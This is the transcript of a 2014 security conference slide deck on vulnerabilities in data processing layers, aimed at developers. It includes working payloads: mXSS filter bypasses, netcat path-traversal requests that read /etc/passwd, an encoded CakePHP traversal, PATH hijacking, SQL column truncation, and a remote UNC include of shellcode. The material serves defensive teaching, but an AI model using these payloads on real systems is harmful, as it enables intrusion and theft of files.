SlideShare une entreprise Scribd logo
1  sur  38
Télécharger pour lire hors ligne
Vulnerabilities in data processing
layers
Omar Ganiev
PHDays 2014
Moscow
whoami
• Beched (ahack.ru, @ahack_ru)
• Math student
• RDot.Org (CTF) team
• Penetration testing expert at IncSecurity
Intro
• Application’s behaviour is defined not only by
its code, but also by a plenty of external
factors such as environment
• We’ll try to dig into different layers of data
processing and point out the potential
dangers which are often ignored by
developers
Program? Turing machine!
Real program
• A lot of inputs
• User supplied input
• Operating system environment
• Hardware
• We‘ll talk about general situation and will pay
specific attention to web applications
Web application interaction
Browser Web server Application
Web application interaction
Browser Web server Framework
Database
Application
Request processing layers
• Hardware
• Operating system
• Browser
• Network
• Web server
• Framework
• Application
• Database
• File system
Request processing layers
• In general case:
Hardware
OS
Client
Network
Server
Data processing
• Each layer has some inputs and outputs
• Each input and output is somehow processed,
normalized, filtered, etc
• Developers often consider only the user inputs,
which are explicitly defined in the code
• Other problem is that often output contains
sensitive information which is used as an input
for some functions
Input/output trust
• Which input can be trusted, and which one is
user-controlled?
• Which input is secret, and which one is
contained in output?
• This is not always clear
• Let’s observe each abstract layer and look at
input and output processing weaknesses
Hardware layer
• Input from pseudo devices /dev/random ,
/dev/urandom in Linux is not always safe, see
http://www.blackhat.com/presentations/bh-
usa-06/BH-US-06-Gutterman.pdf
• Speed of system clock quartz crystals depends
on the temperature. This creates a side channel
(clock skew) for attacking anonymity systems:
http://www.cl.cam.ac.uk/~sjm217/papers/ccs0
6hotornot.pdf
• Cryptanalysis via various physical side channels
Operating system layer
• int main() { system(“id”); }
• Safe? No! There’re no inputs in application,
but there’re inputs in environment
• PATH=.:$PATH
• Put shellcode in ./id and run the executable
• Real-world example: CVE-2013-1662, unsafe
popen of lsb_release file in suid vmware-
mount binary
Operating system layer
• External libraries provide another input point
• This results in such attacks as DLL injection
and hooking
• CreateRemoteThread, SetWindowsHookEx,
etc in Windows
• LD_PRELOAD in Linux
Browser layer
• Browser makes a lot of transformations of the
data
• The purpose of transformation is standard
compliance (like RFC, W3C)
• The transformations are often done after
input validation by web application
• Breaking standards leads to various client-side
attacks
Browser layer
• XSS, UI redressing, URL spoofing, HTTP
response splitting, open redirects via the
single HTTP parameter – Request-path:
https://rdot.org/forum/showthread.php?t=25
96 (by @black2fan)
• Browsers incorrectly treat Location response
header and inject malicious data into Request-
path
Browser layer
• Mutated XSS (mXSS) is an attack on the output
• Browsers compile non-valid HTML pages into some
canonical form
• The transformations can be quite weird:
https://cure53.de/fp170.pdf
• More examples:
<listing>&lt;img src=1 onerror=alert(1)&gt;</listing>
<img src= alt=“onerror=alert(1);”>
• Try at http://html5sec.org/innerhtml/
Browser layer
• All the checks and input validation are typically done
on the server side
• Hence, mXSS can bypass such checks and WAF
• Consider signature-based filter (for example, in CMS
Bitrix)
• We can encode bad words in the following mXSS
payload for IE:
<listing>&lt;img src=1
o&#x6e;error=alert(1)&gt;</listing>
• This is rendered into <img src=1 onerror=alert(1)>
and bypasses WAF
Network layer
• TCP timestamps can reveal various
information (see Hardware layer)
• Network administrators often forget about
internal recursive DNS servers, which makes it
possible to transfer data in DNS tunnel,
bypassing firewalls
Web server layer
• HTTP daemon should verify validity of the
packets
• Fields should meet RFC rules
• But can one assume that this is the case and
trust any HTTP header field?
• No! Apache is a typical example of the
software, which breaks the rules
Web server layer
• Let’s discover Apache magic
$ echo a | nc localhost 80
• 400 error? Nope, the index page is loaded. Note this:
["SERVER_PROTOCOL"]=>
string(8) "HTTP/0.9"
["REQUEST_METHOD"]=>
string(1) "a"
["QUERY_STRING"]=>
string(0) ""
["REQUEST_URI"]=>
string(0) ""
Web server layer
• Often $_SERVER[‘REQUEST_URI’] is used in file inclusion,
can we perform a path traversal (not in QUERY_STRING)?
Example:
<?
$docroot = $_SERVER['DOCUMENT_ROOT'];
$url = explode('?', $_SERVER['REQUEST_URI']);
$path = substr($url[0], 1);
$parts = explode('/', $path);
if($parts[0] == 'assets') {
readfile("$docroot/$path");
exit();
}
Web server layer
• Okay, let’s try:
$ echo 'GET /../../../../../etc/passwd' | nc
localhost 80
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML
2.0//EN">
<html><head>
<title>400 Bad Request</title>
Web server layer
• Here comes double-slash magic:
$ echo -e 'GET xassets/../../..//etc/passwd' | nc
localhost 80
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
…
• Clearly, this should not work, but it works. You
should not trust the web server data
processing!
Web server layer
• Similar constructions are often used in MVC projects
to parse the controller and action values. Example
from the article in Xakep magazine (167):
$piecesOfUrl = explode('/',
$_SERVER['REQUEST_URI']);
…
$controllerName = $piecesOfUrl[1];
…
include $fileWithControllerPath;
Web server layer
• Looks like secure, but what if someone
launches this on the Windows box with
Apache?
• The following payload will then include
myfile.php:
GET a/................myfile/..//
• There’re lots of such code snippets on GitHub
(vulnerable to file inclusion via REQUEST_URI,
not necessarily under Windows)
Web server layer
• The Host header is also untrustworthy, since
the usage of $_SERVER[‘HTTP_HOST’] can lead
to logical vulnerabilities
• For instance, spoofing of the password restore
link
• See
http://www.skeletonscribe.net/2013/05/pract
ical-http-host-header-attacks.html
Web server layer
• This was all about input. What about output?
• Web servers reveal current server time (Date
header), static files’ modification time (Last-
Modified header)
• This can be used to predict the PRNG seed in
PHP (using also PHPSESSID cookie value):
http://habrahabr.ru/company/pt/blog/149746/
Web server layer
• Also consider the following code:
function genid() {
mt_srand(time());
$h = fopen('entropy', 'r');
$fstat = fstat($h);
fclose($h);
return md5(mt_rand() . $fstat[ 'atime' ] . $fstat[ 'mtime' ]);
}
• An id generated by such a function is insecure: an attacker
can obtain mtime from Last-Modified header and atime --
by accessing ‘entropy’ file and reading Date header
Framework layer
• Do not always trust frameworks! Not every
method is secure, read the source code and
documentation
• Insecure Ruby on Rails methods: http://rails-
sqli.org/
• Rather popular Yii class with a lot of find*()
methods without SQL injection protection:
https://github.com/yiisoft/yii/blob/master/fra
mework/db/ar/CActiveRecord.php
Framework layer
• Example of insecure data processing inside the
framework CakePHP:
http://www.securityfocus.com/archive/1/527974
/30/0/threaded
• The data (PATH_INFO variable) is first validated
and then decoded, thus it’s possible to bypass the
check:
/theme/Test1/%2e.//%2e.//%2e.//%2e.//%2e.//
%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%
2e./etc/passwd
Database layer
• DBMS store data in the fields with particular
format (VARCHAR, BLOB, TEXT, INT, etc)
• Each format has its own limitations, thus, an input
data is transformed – trimmed or truncated
• SQL column truncation attack can lead to
compromise of any user account in the system:
INSERT INTO `users` VALUES (‘admin x’,
‘password’);
Database layer
• PHP function addslashes can be bypassed:
http://shiflett.org/blog/2006/jan/addslashes-
versus-mysql-real-escape-string
• This is due to charset transformations, when
MySQL connection uses multi-byte charsets
like BIG5 or GBK
File system layer
• In PHP there’re a lot of weird file path
normalization algorithms
• FindFirstFile WinAPI method allows to pass
wildcards instead of exact paths to include
functions under Windows:
https://rdot.org/forum/showthread.php?t=926
• For example, this will include C:boot.ini:
include 'C:<oot"<<';
File system layer
• In old version of PHP:
/etc/passwd///[x4096]///.php = /etc/passwd ;
/etc/passwd///// = /etc/passwd
• Open_basedir bypass via glob wrapper:
http://ahack.ru/bugs/php-vulnerabilities-
exploits.htm
• The path glob://… is first considered as
relative and then is converted into URL
File system layer
• Allow_url_include and allow_url_fopen
bypass via UNC path:
include '//IP/path/shellcode.txt';
• Security checks are performed before
transformation into remote UNC path
Outro
• Interaction with program goes through
different layers, and each layer has its own
parameters and data processing rules
• The rule: first formatting, then validation
• Each variable, which is not explicitly set in the
code, should be treated as a potential source
of malicious data
Thanks for attention!
Questions?
admin@ahack.ru
beched@incsecurity.ru

Contenu connexe

Tendances

DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systemsDEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systemsFelipe Prado
 
XPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionXPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionBlueinfy Solutions
 
CNIT 126: 10: Kernel Debugging with WinDbg
CNIT 126: 10: Kernel Debugging with WinDbgCNIT 126: 10: Kernel Debugging with WinDbg
CNIT 126: 10: Kernel Debugging with WinDbgSam Bowne
 
Apache logs monitoring
Apache logs monitoringApache logs monitoring
Apache logs monitoringUmair Amjad
 
CNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware LaunchingCNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware LaunchingSam Bowne
 
CNIT 152 10 Enterprise Service
CNIT 152 10 Enterprise ServiceCNIT 152 10 Enterprise Service
CNIT 152 10 Enterprise ServiceSam Bowne
 
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakSoroush Dalili
 
TakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian CrenshawTakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian CrenshawEC-Council
 
Exploiting Directory Permissions on macOS
Exploiting Directory Permissions on macOSExploiting Directory Permissions on macOS
Exploiting Directory Permissions on macOSCsaba Fitzl
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...Hackito Ergo Sum
 
Cis 2903 project -202110
Cis 2903 project -202110Cis 2903 project -202110
Cis 2903 project -202110AlaJebnoun
 
PowerShell for Penetration Testers
PowerShell for Penetration TestersPowerShell for Penetration Testers
PowerShell for Penetration TestersNikhil Mittal
 
CNIT 152 13 Investigating Mac OS X Systems
CNIT 152 13 Investigating Mac OS X SystemsCNIT 152 13 Investigating Mac OS X Systems
CNIT 152 13 Investigating Mac OS X SystemsSam Bowne
 
Defcon - Veil-Pillage
Defcon - Veil-PillageDefcon - Veil-Pillage
Defcon - Veil-PillageVeilFramework
 
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...Sam Bowne
 
Ch 9 Attacking Data Stores (Part 2)
Ch 9 Attacking Data Stores (Part 2)Ch 9 Attacking Data Stores (Part 2)
Ch 9 Attacking Data Stores (Part 2)Sam Bowne
 
CNIT 121: 10 Enterprise Services
CNIT 121: 10 Enterprise ServicesCNIT 121: 10 Enterprise Services
CNIT 121: 10 Enterprise ServicesSam Bowne
 
Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017Alexander Polce Leary
 

Tendances (20)

DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systemsDEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
 
XPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionXPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal Injection
 
CNIT 126: 10: Kernel Debugging with WinDbg
CNIT 126: 10: Kernel Debugging with WinDbgCNIT 126: 10: Kernel Debugging with WinDbg
CNIT 126: 10: Kernel Debugging with WinDbg
 
Hack ASP.NET website
Hack ASP.NET websiteHack ASP.NET website
Hack ASP.NET website
 
Apache logs monitoring
Apache logs monitoringApache logs monitoring
Apache logs monitoring
 
CNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware LaunchingCNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware Launching
 
CNIT 152 10 Enterprise Service
CNIT 152 10 Enterprise ServiceCNIT 152 10 Enterprise Service
CNIT 152 10 Enterprise Service
 
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility Cloak
 
TakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian CrenshawTakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian Crenshaw
 
Exploiting Directory Permissions on macOS
Exploiting Directory Permissions on macOSExploiting Directory Permissions on macOS
Exploiting Directory Permissions on macOS
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
Cis 2903 project -202110
Cis 2903 project -202110Cis 2903 project -202110
Cis 2903 project -202110
 
Anatomy of PHP Shells
Anatomy of PHP ShellsAnatomy of PHP Shells
Anatomy of PHP Shells
 
PowerShell for Penetration Testers
PowerShell for Penetration TestersPowerShell for Penetration Testers
PowerShell for Penetration Testers
 
CNIT 152 13 Investigating Mac OS X Systems
CNIT 152 13 Investigating Mac OS X SystemsCNIT 152 13 Investigating Mac OS X Systems
CNIT 152 13 Investigating Mac OS X Systems
 
Defcon - Veil-Pillage
Defcon - Veil-PillageDefcon - Veil-Pillage
Defcon - Veil-Pillage
 
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
Practical Malware Analysis: Ch 0: Malware Analysis Primer & 1: Basic Static T...
 
Ch 9 Attacking Data Stores (Part 2)
Ch 9 Attacking Data Stores (Part 2)Ch 9 Attacking Data Stores (Part 2)
Ch 9 Attacking Data Stores (Part 2)
 
CNIT 121: 10 Enterprise Services
CNIT 121: 10 Enterprise ServicesCNIT 121: 10 Enterprise Services
CNIT 121: 10 Enterprise Services
 
Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017
 

Similaire à Vulnerabilities on Various Data Processing Levels

Securing the Apache web server
Securing the Apache web serverSecuring the Apache web server
Securing the Apache web serverwebhostingguy
 
Securing the Apache web server
Securing the Apache web serverSecuring the Apache web server
Securing the Apache web serverwebhostingguy
 
Adding Support for Networking and Web Technologies to an Embedded System
Adding Support for Networking and Web Technologies to an Embedded SystemAdding Support for Networking and Web Technologies to an Embedded System
Adding Support for Networking and Web Technologies to an Embedded SystemJohn Efstathiades
 
Web Application Security 101
Web Application Security 101Web Application Security 101
Web Application Security 101Jannis Kirschner
 
Data normalization weaknesses
Data normalization weaknessesData normalization weaknesses
Data normalization weaknessesIvan Novikov
 
Exploitation techniques and fuzzing
Exploitation techniques and fuzzingExploitation techniques and fuzzing
Exploitation techniques and fuzzingG Prachi
 
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilitiesVorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilitiesDefconRussia
 
Oracle WebLogic Diagnostics & Perfomance tuning
Oracle WebLogic Diagnostics & Perfomance tuningOracle WebLogic Diagnostics & Perfomance tuning
Oracle WebLogic Diagnostics & Perfomance tuningMichel Schildmeijer
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
Operating system enhancements to prevent misuse of systems
Operating system enhancements to prevent misuse of systemsOperating system enhancements to prevent misuse of systems
Operating system enhancements to prevent misuse of systemsDayal Dilli
 
introduction to node.js
introduction to node.jsintroduction to node.js
introduction to node.jsorkaplan
 
Play Framework and Activator
Play Framework and ActivatorPlay Framework and Activator
Play Framework and ActivatorKevin Webber
 
526_topic12_13.ppt
526_topic12_13.ppt526_topic12_13.ppt
526_topic12_13.pptImXaib
 
Ch 13: Attacking Other Users: Other Techniques (Part 1)
Ch 13: Attacking Other Users:  Other Techniques (Part 1)Ch 13: Attacking Other Users:  Other Techniques (Part 1)
Ch 13: Attacking Other Users: Other Techniques (Part 1)Sam Bowne
 

Similaire à Vulnerabilities on Various Data Processing Levels (20)

Securing the Apache web server
Securing the Apache web serverSecuring the Apache web server
Securing the Apache web server
 
Securing the Apache web server
Securing the Apache web serverSecuring the Apache web server
Securing the Apache web server
 
Adding Support for Networking and Web Technologies to an Embedded System
Adding Support for Networking and Web Technologies to an Embedded SystemAdding Support for Networking and Web Technologies to an Embedded System
Adding Support for Networking and Web Technologies to an Embedded System
 
Web Application Security 101
Web Application Security 101Web Application Security 101
Web Application Security 101
 
Web Security
Web SecurityWeb Security
Web Security
 
Data normalization weaknesses
Data normalization weaknessesData normalization weaknesses
Data normalization weaknesses
 
Exploitation techniques and fuzzing
Exploitation techniques and fuzzingExploitation techniques and fuzzing
Exploitation techniques and fuzzing
 
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilitiesVorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities
 
Oracle WebLogic Diagnostics & Perfomance tuning
Oracle WebLogic Diagnostics & Perfomance tuningOracle WebLogic Diagnostics & Perfomance tuning
Oracle WebLogic Diagnostics & Perfomance tuning
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
Securing applications
Securing applicationsSecuring applications
Securing applications
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Rails Security
Rails SecurityRails Security
Rails Security
 
Operating system enhancements to prevent misuse of systems
Operating system enhancements to prevent misuse of systemsOperating system enhancements to prevent misuse of systems
Operating system enhancements to prevent misuse of systems
 
introduction to node.js
introduction to node.jsintroduction to node.js
introduction to node.js
 
Play Framework and Activator
Play Framework and ActivatorPlay Framework and Activator
Play Framework and Activator
 
526_topic12_13.ppt
526_topic12_13.ppt526_topic12_13.ppt
526_topic12_13.ppt
 
Anatomy of a Cloud Hack
Anatomy of a Cloud HackAnatomy of a Cloud Hack
Anatomy of a Cloud Hack
 
Ch 13: Attacking Other Users: Other Techniques (Part 1)
Ch 13: Attacking Other Users:  Other Techniques (Part 1)Ch 13: Attacking Other Users:  Other Techniques (Part 1)
Ch 13: Attacking Other Users: Other Techniques (Part 1)
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 

Plus de Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 

Plus de Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Dernier

Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.YounusS2
 
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve Decarbonization
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve DecarbonizationUsing IESVE for Loads, Sizing and Heat Pump Modeling to Achieve Decarbonization
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve DecarbonizationIES VE
 
AI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just MinutesAI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just MinutesMd Hossain Ali
 
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...Aggregage
 
UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7DianaGray10
 
OpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureOpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureEric D. Schabell
 
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPA
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPAAnypoint Code Builder , Google Pub sub connector and MuleSoft RPA
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPAshyamraj55
 
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCostKubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCostMatt Ray
 
Nanopower In Semiconductor Industry.pdf
Nanopower  In Semiconductor Industry.pdfNanopower  In Semiconductor Industry.pdf
Nanopower In Semiconductor Industry.pdfPedro Manuel
 
Comparing Sidecar-less Service Mesh from Cilium and Istio
Comparing Sidecar-less Service Mesh from Cilium and IstioComparing Sidecar-less Service Mesh from Cilium and Istio
Comparing Sidecar-less Service Mesh from Cilium and IstioChristian Posta
 
Artificial Intelligence & SEO Trends for 2024
Artificial Intelligence & SEO Trends for 2024Artificial Intelligence & SEO Trends for 2024
Artificial Intelligence & SEO Trends for 2024D Cloud Solutions
 
IaC & GitOps in a Nutshell - a FridayInANuthshell Episode.pdf
IaC & GitOps in a Nutshell - a FridayInANuthshell Episode.pdfIaC & GitOps in a Nutshell - a FridayInANuthshell Episode.pdf
IaC & GitOps in a Nutshell - a FridayInANuthshell Episode.pdfDaniel Santiago Silva Capera
 
Cybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxCybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxGDSC PJATK
 
UiPath Studio Web workshop series - Day 6
UiPath Studio Web workshop series - Day 6UiPath Studio Web workshop series - Day 6
UiPath Studio Web workshop series - Day 6DianaGray10
 
Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)Commit University
 
activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdf
activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdf
